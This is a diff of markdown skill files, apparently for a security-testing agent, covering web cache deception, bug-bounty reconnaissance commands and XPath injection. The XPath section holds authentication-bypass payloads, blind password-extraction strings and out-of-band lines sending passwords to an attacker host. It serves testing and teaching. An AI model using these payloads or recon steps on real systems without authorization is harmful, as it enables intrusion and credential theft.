CF-Cache-Status: HIT # Cloudflare
|
||||
X-Varnish: 12345 67890 # Varnish (two IDs = hit)
|
||||
Via: 1.1 varnish
|
||||
```
|
||||
|
||||
**Cache Control Headers**
|
||||
```
|
||||
Cache-Control: no-store # Should prevent caching
|
||||
Cache-Control: private # CDN shouldn't cache
|
||||
Vary: Cookie # Different response per cookie value
|
||||
```
|
||||
|
||||
## Validation
|
||||
|
||||
1. Log in as victim, visit crafted URL (e.g., `/account/fake.css`)
|
||||
2. Clear cookies / use incognito
|
||||
3. Visit same URL unauthenticated → should return victim's data from cache
|
||||
4. Confirm `X-Cache: HIT` or `Age: >0` in response headers
|
||||
5. Show sensitive fields (email, PII, tokens) present in cached response
|
||||
|
||||
## False Positives
|
||||
|
||||
- Cache correctly keys on `Cookie` or `Authorization` header
|
||||
- `Vary: Cookie` properly set → different cache entry per user
|
||||
- `Cache-Control: no-store` or `private` enforced
|
||||
- App returns 404 or error for unknown sub-paths (no content to cache)
|
||||
|
||||
## Impact
|
||||
|
||||
- Theft of session tokens, PII, private data from victim's authenticated responses
|
||||
- Account takeover if session token is in cached response body
|
||||
- GDPR/privacy violation via exposure of personal data
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. `Param Miner` Burp extension detects unkeyed inputs that can cause cache confusion
|
||||
2. Check if CDN strips cookies before forwarding — if so, the whole site may be miscached
|
||||
3. Try every path delimiter variant — `;` is the most common but `%0a` often works when `;` is blocked
|
||||
4. Test on "profile", "account", "dashboard", "settings" endpoints specifically
|
||||
5. Look for `Age: 0` on first hit then `Age: >0` on second — confirms caching
|
||||
6. Some CDNs cache based on file extension in ANY path segment, not just the final one
|
||||
7. Pair with XSS for reliable victim delivery without social engineering
|
||||
|
||||
## Summary
|
||||
|
||||
Web Cache Deception exploits mismatches between what the cache considers "static" and what the app actually serves. Any endpoint that returns sensitive data for unrecognized sub-paths, combined with a cache that stores by extension, is vulnerable. Fix by configuring caches to key on authentication headers and disabling caching for authenticated content.
|
||||
264
strix/skills/vulnerabilities/web_recon.md
Normal file
264
strix/skills/vulnerabilities/web_recon.md
Normal file
|
|
@ -0,0 +1,264 @@
|
|||
---
|
||||
name: web-recon
|
||||
description: Web reconnaissance techniques for bug bounty — subdomain enumeration, JS analysis, endpoint discovery, and fingerprinting
|
||||
---
|
||||
|
||||
# Web Reconnaissance
|
||||
|
||||
Recon determines attack surface before active testing. Comprehensive recon finds assets, endpoints, and technologies that manual browsing misses — and in bug bounty, more surface area = more bugs. Speed and breadth win.
|
||||
|
||||
## Subdomain Enumeration
|
||||
|
||||
### Passive (No Direct Target Interaction)
|
||||
|
||||
```bash
|
||||
# Certificate Transparency logs
|
||||
subfinder -d target.com -all -o subs.txt
|
||||
amass enum -passive -d target.com -o subs.txt
|
||||
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
|
||||
|
||||
# DNS brute force wordlists
|
||||
puredns bruteforce /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt target.com
|
||||
|
||||
# Shodan/Censys/Fofa/Zoomeye
|
||||
shodan search "ssl.cert.subject.CN:*.target.com" --fields hostnames,ip_str
|
||||
|
||||
# Google dork
|
||||
site:*.target.com -www
|
||||
|
||||
# Archive / Wayback
|
||||
gau target.com | grep "://" | cut -d "/" -f 3 | sort -u
|
||||
waybackurls target.com | grep "://" | cut -d "/" -f 3 | sort -u
|
||||
|
||||
# GitHub/GitLab
|
||||
github-subdomains -d target.com -t GITHUB_TOKEN
|
||||
```
|
||||
|
||||
### Active (Resolving Subdomains)
|
||||
|
||||
```bash
|
||||
# DNS resolution
|
||||
massdns -r /opt/resolvers.txt -t A subs.txt -o S > resolved.txt
|
||||
dnsx -l subs.txt -resp -a -aaaa -cname -o dnsx-out.txt
|
||||
|
||||
# Virtual host discovery
|
||||
ffuf -w subs.txt -u https://IP/ -H "Host: FUZZ.target.com" -mc 200,301,302,403
|
||||
|
||||
# Wildcard detection
|
||||
puredns -w wordlist.txt target.com --resolvers resolvers.txt
|
||||
```
|
||||
|
||||
## Port / Service Discovery
|
||||
|
||||
```bash
|
||||
# Fast port scan
|
||||
naabu -l hosts.txt -p - -o naabu-out.txt
|
||||
masscan -p1-65535 --rate 10000 IP/range -oG masscan.txt
|
||||
|
||||
# Service fingerprint
|
||||
nmap -sV -sC -p $(cat open_ports.txt) IP
|
||||
|
||||
# HTTP service discovery
|
||||
httpx -l hosts.txt -ports 80,443,8080,8443,8888,3000,4000,5000 -o httpx-out.txt
|
||||
httpx -l hosts.txt -tech-detect -title -status-code -o httpx-full.txt
|
||||
```
|
||||
|
||||
## Technology Fingerprinting
|
||||
|
||||
```bash
|
||||
# Web tech stack
|
||||
whatweb -a 3 https://target.com
|
||||
wappalyzer --url https://target.com
|
||||
|
||||
# CMS detection
|
||||
cmseek -u https://target.com
|
||||
wpscan --url https://target.com --enumerate # WordPress
|
||||
droopescan scan drupal -u https://target.com
|
||||
|
||||
# Header analysis
|
||||
curl -I https://target.com
|
||||
# Look for: Server, X-Powered-By, X-Generator, X-Framework
|
||||
|
||||
# Favicon hash
|
||||
# Calculate favicon hash → search in Shodan/Censys for similar infra
|
||||
python3 -c "import hashlib,base64,requests; r=requests.get('https://target.com/favicon.ico'); print(hashlib.md5(base64.encodebytes(r.content)).hexdigest())"
|
||||
```
|
||||
|
||||
## URL / Endpoint Discovery
|
||||
|
||||
```bash
|
||||
# Crawling
|
||||
katana -u https://target.com -d 5 -jc -o katana-out.txt
|
||||
gospider -s https://target.com -d 3 -o spider-out
|
||||
|
||||
# Historical URLs
|
||||
gau --threads 5 target.com | tee gau-out.txt
|
||||
waybackurls target.com | tee wayback-out.txt
|
||||
hakrawler -url https://target.com -depth 3
|
||||
|
||||
# Combine and deduplicate
|
||||
cat gau-out.txt wayback-out.txt katana-out.txt | sort -u | httpx -silent -o live-endpoints.txt
|
||||
|
||||
# Parameter extraction
|
||||
cat live-endpoints.txt | grep "?" | qsreplace "FUZZ" | sort -u > params.txt
|
||||
|
||||
# JS file discovery
|
||||
cat live-endpoints.txt | grep "\.js$" | sort -u > jsfiles.txt
|
||||
```
|
||||
|
||||
## JavaScript Analysis
|
||||
|
||||
```bash
|
||||
# Extract endpoints and secrets from JS
|
||||
cat jsfiles.txt | xargs -I{} curl -s {} | grep -oP '(\/api\/[^"' ]+)|(\/v[0-9]+\/[^"' ]+)'
|
||||
subjs -i live-endpoints.txt -o jsfiles.txt
|
||||
getjswords jsfiles.txt # Extract potential params
|
||||
|
||||
# Secrets in JS
|
||||
truffleHog --regex --entropy=False https://github.com/target/repo
|
||||
secretfinder -i https://target.com/app.js -o cli
|
||||
|
||||
# LinkFinder for endpoints
|
||||
python3 linkfinder.py -i https://target.com/app.js -o cli
|
||||
|
||||
# Manual JS analysis patterns
|
||||
grep -E "(api_key|apikey|secret|token|password|passwd|auth|bearer)" *.js
|
||||
grep -E "fetch\(|axios\.|XMLHttpRequest|\.ajax\(" *.js
|
||||
grep -E "(\/api\/|\/v1\/|\/v2\/|\/internal\/|\/admin\/)" *.js
|
||||
```
|
||||
|
||||
## Directory / File Fuzzing
|
||||
|
||||
```bash
|
||||
# Directory brute force
|
||||
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -mc 200,301,302,403 -o ffuf-dirs.txt
|
||||
|
||||
# Wordlists
|
||||
# /usr/share/seclists/Discovery/Web-Content/big.txt
|
||||
# /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
|
||||
# /usr/share/seclists/Discovery/Web-Content/common.txt
|
||||
|
||||
# API endpoint fuzzing
|
||||
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
|
||||
|
||||
# Parameter fuzzing
|
||||
ffuf -u https://target.com/search?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
|
||||
|
||||
# Backup file hunting
|
||||
ffuf -u https://target.com/FUZZ -w backups.txt # .bak, .old, .zip, .tar.gz, .sql
|
||||
```
|
||||
|
||||
## Source Code & Git Exposure
|
||||
|
||||
```bash
|
||||
# Git repo exposure
|
||||
git-dumper https://target.com/.git/ /tmp/git-dump
|
||||
# Check: /.git/config, /.git/HEAD, /.git/COMMIT_EDITMSG
|
||||
|
||||
# Common source code exposure
|
||||
ffuf -u https://target.com/FUZZ -w source_exposure.txt
|
||||
# Paths: /.env, /.env.local, /config.php, /config.yml, /wp-config.php.bak
|
||||
# /app.config, /web.config, /appsettings.json, /.htpasswd, /phpinfo.php
|
||||
|
||||
# SVN
|
||||
/.svn/entries → reveals source structure and file paths
|
||||
|
||||
# DS_Store
|
||||
.DS_Store parser: python3 dsstore.py https://target.com/.DS_Store
|
||||
```
|
||||
|
||||
## Cloud Asset Discovery
|
||||
|
||||
```bash
|
||||
# S3 bucket enumeration
|
||||
S3Scanner scan --buckets target-backup,target-dev,target-prod,target-assets
|
||||
# Patterns: [company]-[env], [company]-[service], [company]-[year]
|
||||
aws s3 ls s3://target-assets --no-sign-request
|
||||
|
||||
# Google Cloud Storage
|
||||
gsutil ls gs://target-backup
|
||||
|
||||
# Azure Blob
|
||||
az storage blob list --container-name target --account-name targetstg
|
||||
|
||||
# Google Dorks for cloud assets
|
||||
site:s3.amazonaws.com "target.com"
|
||||
site:blob.core.windows.net "target"
|
||||
site:storage.googleapis.com "target"
|
||||
```
|
||||
|
||||
## Leaked Credentials & Secrets
|
||||
|
||||
```bash
|
||||
# GitHub dork
|
||||
org:targetcompany password OR secret OR api_key OR token
|
||||
|
||||
# Manual dorks
|
||||
"target.com" API_KEY
|
||||
"target.com" password filetype:env
|
||||
"@target.com" password
|
||||
|
||||
# Shodan for exposed services
|
||||
org:"Target Company" port:22,3306,5432,6379,27017,9200
|
||||
|
||||
# Pastebin / ghostbin
|
||||
site:pastebin.com target.com
|
||||
|
||||
# Historical commits
|
||||
truffleHog --entropy=True https://github.com/target/repo
|
||||
gitleaks detect --source /path/to/repo
|
||||
```
|
||||
|
||||
## ASN / IP Range Discovery
|
||||
|
||||
```bash
|
||||
# Find ASN
|
||||
whois -h whois.radb.net -- '-i origin AS12345' | grep route:
|
||||
amass intel -org "Target Corp"
|
||||
|
||||
# IP range from ASN
|
||||
bgpview.io API or:
|
||||
whois -h whois.arin.net "n + Target Corp"
|
||||
|
||||
# Reverse IP lookup (find more domains on same IP)
|
||||
shodan host IP
|
||||
```
|
||||
|
||||
## Google Dorks for Bug Bounty
|
||||
|
||||
```
|
||||
site:target.com filetype:pdf # PDFs (may contain internal info)
|
||||
site:target.com inurl:admin
|
||||
site:target.com inurl:login
|
||||
site:target.com inurl:api
|
||||
site:target.com ext:env OR ext:bak OR ext:sql OR ext:log
|
||||
site:target.com intext:"internal use only"
|
||||
site:target.com intitle:"index of"
|
||||
"target.com" inurl:"/wp-content/uploads/"
|
||||
"api.target.com" OR "dev.target.com" OR "staging.target.com"
|
||||
```
|
||||
|
||||
## Recon Automation Stack
|
||||
|
||||
```bash
|
||||
# Full pipeline example
|
||||
subfinder -d target.com | dnsx | httpx -o live.txt
|
||||
cat live.txt | katana -jc | grep "\.js$" | subjs | secretfinder
|
||||
cat live.txt | gau | qsreplace "FUZZ" | ffuf -u FUZZ -w payloads.txt
|
||||
```
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Run recon in stages: passive → active → deep-dive on interesting assets
|
||||
2. Focus on dev/staging/internal subdomains — less hardened, more bugs
|
||||
3. Check `robots.txt`, `sitemap.xml`, `.well-known/` on every discovered host
|
||||
4. Wayback Machine URLs reveal old endpoints that still work
|
||||
5. JS files are goldmines — new endpoints, API keys, internal comments
|
||||
6. Alert on new subdomains — fresh deployments often have bugs before security review
|
||||
7. Check ASN for entire IP ranges — find forgotten test servers and admin panels
|
||||
8. `.git` exposure + source code = automatic high severity bug
|
||||
9. CloudFront/Akamai custom error pages often leak internal domain names
|
||||
|
||||
## Summary
|
||||
|
||||
Recon multiplies bug-finding efficiency. Subdomain enumeration finds forgotten assets, JS analysis reveals undocumented APIs, and cloud bucket scanning surfaces data exposures. Build an automated pipeline and run it continuously — the best bugs are found on newly-deployed assets.
|
||||
180
strix/skills/vulnerabilities/xpath_injection.md
Normal file
180
strix/skills/vulnerabilities/xpath_injection.md
Normal file
|
|
@ -0,0 +1,180 @@
|
|||
---
|
||||
name: xpath-injection
|
||||
description: XPath injection testing against XML databases, LDAP-alternative queries, and XML-processing applications
|
||||
---
|
||||
|
||||
# XPath Injection
|
||||
|
||||
XPath injection occurs when user input is embedded in XPath queries without sanitization, similar to SQL injection but targeting XML data stores. Common in legacy enterprise applications, SAML processors, document management systems, and any app using XML as a data store.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Common Locations**
|
||||
- XML-based authentication systems
|
||||
- Document/configuration management with XML backends
|
||||
- SAML assertion processing
|
||||
- RSS/Atom feed parsers with user-controlled queries
|
||||
- Reporting tools with XML data sources
|
||||
- Legacy Java EE / .NET applications using XML databases (eXist-db, BaseX, MarkLogic)
|
||||
|
||||
**Input Vectors**
|
||||
- Username/password fields feeding XPath auth queries
|
||||
- Search/filter parameters
|
||||
- API parameters querying XML documents
|
||||
- URL path segments used in document navigation
|
||||
|
||||
## XPath Primer
|
||||
|
||||
```xpath
|
||||
/users/user[name='alice'] # Select user by name
|
||||
//user[@id='1'] # Any user with id=1
|
||||
/users/user[name='a' or '1'='1'] # Always true (tautology)
|
||||
string(/users/user[1]/password) # Extract first user's password
|
||||
count(//user) # Count users
|
||||
substring(string(//user[1]/pass),1,1) # First char of first user's password
|
||||
```
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Authentication Bypass (Tautology)
|
||||
|
||||
```
|
||||
# Vulnerable query:
|
||||
/users/user[name='USERNAME' and password='PASSWORD']
|
||||
|
||||
# Injection in username:
|
||||
' or '1'='1
|
||||
# Result: /users/user[name='' or '1'='1' and password='X']
|
||||
# Returns first user → logs in as that user
|
||||
|
||||
# More reliable:
|
||||
' or 1=1 or 'a'='a
|
||||
admin' or '1'='1
|
||||
' or '1'='1' or 'x'='y
|
||||
```
|
||||
|
||||
### Comment/Union Tricks
|
||||
|
||||
```
|
||||
# XPath 1.0 has no comments, but:
|
||||
' or '1'='1
|
||||
'] | //user | //user['x'='x
|
||||
|
||||
# XPath 2.0:
|
||||
' or true() or '
|
||||
```
|
||||
|
||||
### Blind XPath Injection (Data Extraction)
|
||||
|
||||
When no error output or data reflection, use boolean-based:
|
||||
|
||||
```
|
||||
# Test character by character:
|
||||
' and substring(string(/users/user[1]/password),1,1)='a
|
||||
# True → first char is 'a'
|
||||
# False → try next char
|
||||
|
||||
# Or numeric comparison:
|
||||
' and string-length(string(/users/user[1]/password))>5
|
||||
' and string-to-codepoints(substring(string(//user[1]/password),1,1))>64
|
||||
```
|
||||
|
||||
**Automated approach with OOB**
|
||||
```
|
||||
' and doc(concat('http://attacker/', string(//user[1]/password)))='x
|
||||
```
|
||||
|
||||
### Full Document Extraction
|
||||
|
||||
```
|
||||
# Count nodes
|
||||
' or count(//*)>0 or '1'='2
|
||||
|
||||
# Get node names (blind enumeration)
|
||||
' and name(//*)='user' or '1'='2
|
||||
|
||||
# Get all text content
|
||||
' or string(//*[1])='' or 'a'='a
|
||||
|
||||
# XPath 2.0 string-join
|
||||
' or string-join(//user/password, ':')='' or '1'='2
|
||||
```
|
||||
|
||||
### Out-of-Band via doc() or document()
|
||||
|
||||
```xpath
|
||||
' or doc('http://attacker.com/?x=' || string(//user[1]/password))
|
||||
' or document(concat('http://attacker/', //user[1]/password))
|
||||
```
|
||||
|
||||
### Namespace Tricks
|
||||
|
||||
```xpath
|
||||
*:user # Wildcard namespace
|
||||
//q:user # Qualified name (if namespace declared)
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Quote Bypass**
|
||||
```
|
||||
# When single quotes filtered:
|
||||
concat(char(39), 'admin', char(39))
|
||||
concat("a","d","m","i","n")
|
||||
# Double quotes:
|
||||
" or "1"="1
|
||||
```
|
||||
|
||||
**Operator Substitution**
|
||||
```
|
||||
not(0) = true
|
||||
1=1 = true
|
||||
normalize-space('x')='x' # avoids simple string matching filters
|
||||
```
|
||||
|
||||
**Function-Based Bypass**
|
||||
```
|
||||
' or starts-with(//user[1]/password,'a
|
||||
' or contains(//user[1]/password,'admin
|
||||
' or translate(//user[1]/name,'ABCDEFGHIJKLMNOPQRSTUVWXYZ','abcdefghijklmnopqrstuvwxyz')='admin
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Inject meta characters** — `'`, `"`, `]`, `)`, `)` — look for errors
|
||||
2. **Tautology test** — `' or '1'='1` in username/search fields
|
||||
3. **Boolean discrimination** — Compare response with always-true vs always-false injection
|
||||
4. **Error analysis** — XPath parse errors reveal query structure
|
||||
5. **Blind extraction** — Use substring() + boolean comparison to extract data character by character
|
||||
6. **OOB if available** — Try doc()/document() with attacker URL if HTTP outbound allowed
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate authentication bypass by logging in without valid credentials
|
||||
2. For blind injection, extract first character of a sensitive value (e.g., admin password)
|
||||
3. Show the boolean discrimination technique with different responses for true/false conditions
|
||||
|
||||
## False Positives
|
||||
|
||||
- Parameterized XPath queries (using variables, not string concatenation)
|
||||
- Input sanitization stripping XPath operators
|
||||
- Application using XPath only on server-generated data, not user input
|
||||
|
||||
## Impact
|
||||
|
||||
- Authentication bypass → access to any account
|
||||
- Full XML document data extraction
|
||||
- Potential to extract secrets, credentials, private content stored in XML
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. XPath errors are verbose — enable error display in testing, they reveal query structure
|
||||
2. XPath injection in SAML processors is particularly valuable (enterprise targets)
|
||||
3. `xcat` is an automated XPath injection tool similar to sqlmap
|
||||
4. XPath 2.0 has more functions for extraction; check which version is in use
|
||||
5. `doc()` and `document()` are XPath SSRF — try for exfiltration AND internal access
|
||||
6. Test LDAP and eXist-db queries separately — they have XPath interfaces with similar injection patterns
|
||||
|
||||
## Summary
|
||||
|
||||
XPath injection enables authentication bypass and data extraction from XML stores. Unlike SQL, XPath 1.0 has no comments or UNION, but tautology attacks and character-by-character blind extraction work universally. Parameterize XPath queries the same way you'd parameterize SQL.
|
||||
Loading…
Add table
Reference in a new issue